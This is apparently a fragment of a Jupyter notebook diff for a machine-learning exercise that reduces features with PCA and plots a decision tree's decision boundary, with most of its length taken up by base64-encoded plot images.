0I6eRSXx4M7GEaRXbgiK8mm00xcjKOq71zknxi3Z2eCIOByO4lN6kyov1lJh4/7fJvjnYwl01ijvz9zRCn34UMSriyPXLmH/rYQLOvtojgfjGeeeYa/+Zu/IZlMoigKbreb73//+zQ3N5PNZvn2t7/NxYsXEUWRb33rW9x8880AH3nbr8OxY8dmZ1BzzDHHHHN8MH7yk5+wcuXK39r+fmMD9ftEPp9nz549fOMb3+AnP/kJ5eXlH3eXPhBXXJRzff/o+F3tN8z1/ePid7Xv79VvwzCYnJxk0aJFuFyu39oxPxnhaJ8QXC4X7e3tAJSXl1NdXf0+n/hkMtf3j57f1X7DXN8/Ln5X+/5u/a6r++2vzc9V1J1jjjnmmOMTyZyBmmOOOeaY4xPJnIGaY4455pjjE8mcgXobgUCAr33ta+8IQf9dYK7vHz2/q/2Gub5/XPyu9v3j6PdcFN8cc8wxxxyfSOZmUHPMMcccc3wimTNQc8wxxxxzfCL5vTRQTz31FLt27aKtrY0f//jHV7Xlcjm+8Y1vsG3bNnbs2MGePXs+trb349vf/jabNm3izjvv5M477+Qf/uEfZtumpqb44he/yPbt27njjjs4ffr0dW27nvT19XH//fezfft27r//fvr7+z+S476VrVu3smPHjtmx3r9/PwCnTp3ijjvuYPv27Xzxi19kevpNVe7r0fZ+/PVf/zVbt25l3rx5dHZ2zm5/rzH8qNs+aN/fbezfb6w+qvGPxWJ8+ctfZvv27ezatYuvfe1rszJfH3X/fpt9nzdvHrt27Zod946ON8WGX331VXbs2MG2bdv4xje+QS6Xu65t74r1e0hHR4fV1dVlfetb37J+9KMfXdX2d3/3d9a/+3f/zrIsy+rr67PWrVtnpdPpj6Xt/fjzP//zd/T/Ct/+9ret7373u5ZlWdbRo0etbdu2WaZpXre268nnPvc568knn7Qsy7KefPJJ63Of+9x1P+bb2bJli9XR0XHVNsMwrJtvvtk6evSoZVmW9d3vftf69re/fd3afh2OHj1qjYyMvKO/7zWGH3XbB+37tcbesj454x+LxazDhw/Pvv6v//W/Wn/xF3/xkffvt9l3y7Ks1tbWa96L0um0tW7dOquvr8+yLMv6y7/8S+vv/u7vrlvbe/F7aaCucK0b/G233WadOXNm9vVXvvIV67nnnvtY2j5M/6+wdOlSa3p6evb17bffbp0+ffq6tV0vpqamrBUrVli6rluWZVm6rlsrVqy4qh8fBde6SZ4+fdq6/fbbZ19PT09bS5cuvW5tH7a/7zWGH3XbB+37tV5f4ZM6/i+88IL18MMPf+T9+2323bLe3UA999xz1le+8pXZ12fOnLFuu+2269b2Xvxeuvjei09yEcVr8YMf/IBdu3bx1a9+lZ6eHsCetluWNVtW5K37vR5t15PR0VHKyspm64pJkkRpaSmjo6PX9bjX4t/+23/Lrl27+Pf//t+TTCY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+ }, + "metadata": {} + } + ], + "source": [ + "pca = PCA(n_components=2)\n", + "## Transforming the dataset using PCA\n", + "X_pca = pca.fit_transform(X_train)\n", + "y = y_train\n", + "## Checking the variance explained by the reduced features\n", + "pca.explained_variance_ratio_\n", + "## Find the lowest and maximum values for each feature and extend the grid one step beyond that to \n", + "## ensure that the whole feature space is covered. \n", + "xmin, xmax = X_pca[:, 0].min() - 2, X_pca[:, 0].max() + 2\n", + "ymin, ymax = X_pca[:, 1].min() - 2, X_pca[:, 1].max() + 2\n", + "# Creating a mesh region where the boundary will be plotted\n", + "xx, yy = np.meshgrid(np.arange(xmin, xmax, 100),\n", + " np.arange(ymin, ymax, 100))\n", + "## Fitting tree model on 2 features\n", + "clf.fit(X_pca, y)\n", + "## Plotting decision boundary for Decision Tree (DT)\n", + "z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n", + "z = z.reshape(xx.shape)\n", + "\n", + "# Displaying the result\n", + "plt.contourf(xx, yy, z, alpha=0.4) # DT\n", + "sns.scatterplot(X_pca[:,0], X_pca[:,1], hue = y_train, s = 50, alpha = 0.8)\n", + "plt.title('Decision Tree')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 402 + }, + "id": "4CtIVoompExG", + "outputId": "7c6fb7fe-fc60-4d93-99ef-57d7ad939ee1" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "DecisionTreeClassifier(class_weight={0: 1.0, 1: 3.925373134328358},\n", + " criterion='entropy', max_depth=3, min_samples_leaf=15,\n", + " min_samples_split=25)" + ] + }, + "metadata": {}, + "execution_count": 109 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "CompletedProcess(args=['dot', '-Tpng', 'tree.dot', '-o', 'tree.png', '-Gdpi=600'], returncode=0)" + ] + }, + "metadata": {}, + "execution_count": 109 + }, + { + "output_type": "execute_result", + "data": { + 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